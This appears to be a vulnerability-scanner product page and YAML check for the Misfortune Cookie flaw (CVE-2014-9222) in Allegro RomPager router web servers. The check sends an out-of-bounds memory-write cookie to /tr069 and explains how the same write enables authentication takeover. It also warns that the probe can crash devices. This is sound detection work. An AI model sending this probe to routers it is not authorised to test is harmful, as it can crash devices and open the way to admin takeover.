Allegro RomPager — 1 vulnerability check

noctis ships 1 vulnerability check for Allegro RomPager, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Allegro RomPager Misfortune Cookie

CVECVE-2014-9222
Severitycritical · CVSS 10.0
Categoryauth-bypass — Auth bypass
Serviceshttp, https, cwmp
Detectionset_var, script, http_request, match · highest QoD 75
Feedtests/vulnerabilities/allegro-rompager/CVE-2014-9222.yaml

Tests Allegro RomPager (< 4.34) for the Misfortune Cookie out-of-bounds cookie write. A C107373883 cookie overwrites the request-URL buffer with a per-run marker; the 404 page naming that marker instead of the requested /tr069 confirms the memory write.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET /tr069
  3. Checks probe.body for was not found on the RomPager → finding QoD 75: Misfortune Cookie: GET /tr069 with cookie C107373883=… answered 404 naming '…' as the requested URL — the out-of-bounds cookie write overwr…
  4. Checks probe.body for . → finding QoD 70: Misfortune Cookie (vendor error page): GET /tr069 with cookie C107373883=… answered … with a body carrying the per-run marker '…' but not t…

References:

Feed source — tests/vulnerabilities/allegro-rompager/CVE-2014-9222.yaml
# Allegro RomPager "Misfortune Cookie" — CVE-2014-9222
#
# RomPager before 4.34 (embedded web server of millions of DSL/cable routers,
# often exposed on the TR-069 port 7547) stores each `C<n>=<value>` cookie at
# index <n> of a fixed-size array with no bounds check. A chosen index writes
# attacker data anywhere in memory — on the affected builds this is used to
# flip the authentication state and take over the admin interface.
#
# Benign proof of the memory write (same index as the source NASL and the
# Check Point disclosure): index 107373883 lands on the buffer that holds the
# request URL. We request /tr069 with `Cookie: C107373883=/n<12 hex of the
# per-run token>`; a vulnerable server overwrites its URL buffer with our value and its
# 404 page reads "The requested URL '/n<token>' was not found on the
# RomPager server" — it names a URL we never requested. Nothing else is
# written: the overwritten buffer belongs to our own request.
#
# Improvements over the NASL:
#   - The marker is derived from the per-run {{oob_token}} and must appear
#     exactly where RomPager names the requested URL, with HTTP 404, so a page
#     that merely echoes the Cookie header (or a fixed marker string) cannot
#     match.
#   - A second, lower-QoD branch covers vendor builds that rebrand RomPager's
#     error page (the NASL's "was not found on the RomPager" check misses them).
#   - The NASL only runs where its RomPager detection already set a CPE; this
#     feed needs no prior detection, and also targets nmap's `cwmp` service
#     (TR-069 port 7547), the most exposed RomPager listener.
#
# Intrusive: the probe performs an out-of-bounds write. On a firmware build
# with a different memory layout index 107373883 may land elsewhere and crash
# the device — exclude with `filters.exclude_categories: [auth-bypass]` or the
# `intrusive` tag.
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_allegro_rompager_cve_2014_9222.nasl
# (GPL-2.0-only). URL, cookie index and "was not found on the RomPager" check
# taken from that plugin.
uid: 0ccb1b85-cfed-4e6a-8bc6-cb53997a659f
name: "Allegro RomPager Misfortune Cookie (CVE-2014-9222)"
description: |
  Tests Allegro RomPager (< 4.34) for the Misfortune Cookie out-of-bounds
  cookie write. A C107373883 cookie overwrites the request-URL buffer with a
  per-run marker; the 404 page naming that marker instead of the requested
  /tr069 confirms the memory write.
cves: [CVE-2014-9222]
cvss: 10.0
severity: critical
category: auth-bypass
confidence_base: 0.30
tags: [rompager, allegro, router, tr-069, misfortune-cookie, memory-corruption, auth-bypass, intrusive, openvas, web-application-abuses]
services: [http, https, cwmp]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-9222"
  - "https://web.archive.org/web/20141225003429/http://mis.fortunecook.ie/"
  # OpenVAS/Greenbone NASL 2014/gb_allegro_rompager_cve_2014_9222.nasl (GPL-2.0-only)

steps:
  # Pre-initialise so a failed request never leaves probe undefined.
  - id: init-probe
    action: set_var
    var_name: probe
    var_value: {status: 0, body: ""}

  # The cookie value is the out-of-bounds write payload: keep it as short as the
  # public checks (11-17 bytes) — "/n" + 12 hex chars of the per-run token.
  - id: make-marker
    action: script
    code: "\"/n\" + oob_token.sub_string(0, 8) + oob_token.sub_string(9, 4)"
    store_as: marker

  - id: misfortune-cookie
    action: http_request
    method: GET
    path: "/tr069"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Cookie: "C107373883={{marker}}"
    store_as: probe

  # The 404 must name OUR per-run marker as the requested URL: the cookie value
  # has overwritten the URL buffer (we requested /tr069).
  - id: url-overwritten
    action: match
    source: probe.body
    pattern: "was not found on the RomPager"
    condition: "probe.status == 404 && probe.body.contains(\"The requested URL '\" + marker + \"' was not found on the RomPager\")"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "Misfortune Cookie: GET /tr069 with cookie C107373883={{marker}} answered 404 naming '{{marker}}' as the requested URL — the out-of-bounds cookie write overwrote RomPager's request-URL buffer"
      stop: true

  # Vendor builds (ZyXEL, TP-Link…) replace RomPager's stock error page. Same
  # proof, looser framing (as Metasploit's check): a 401/403/404 whose body
  # carries our per-run marker but not the cookie name — so a page echoing the
  # raw Cookie header does not match. Lower QoD: the URL slot is not pinned.
  - id: url-overwritten-branded
    action: match
    source: probe.body
    pattern: "."
    condition: "(probe.status == 401 || probe.status == 403 || probe.status == 404) && probe.body.contains(marker) && !probe.body.contains(\"C107373883\")"
    on_match:
      finding:
        confidence_delta: 0.40
        qod: 70
        evidence: "Misfortune Cookie (vendor error page): GET /tr069 with cookie C107373883={{marker}} answered {{probe.status}} with a body carrying the per-run marker '{{marker}}' but not the cookie name — the cookie value replaced the request URL"
      stop: true

View these feeds on GitHub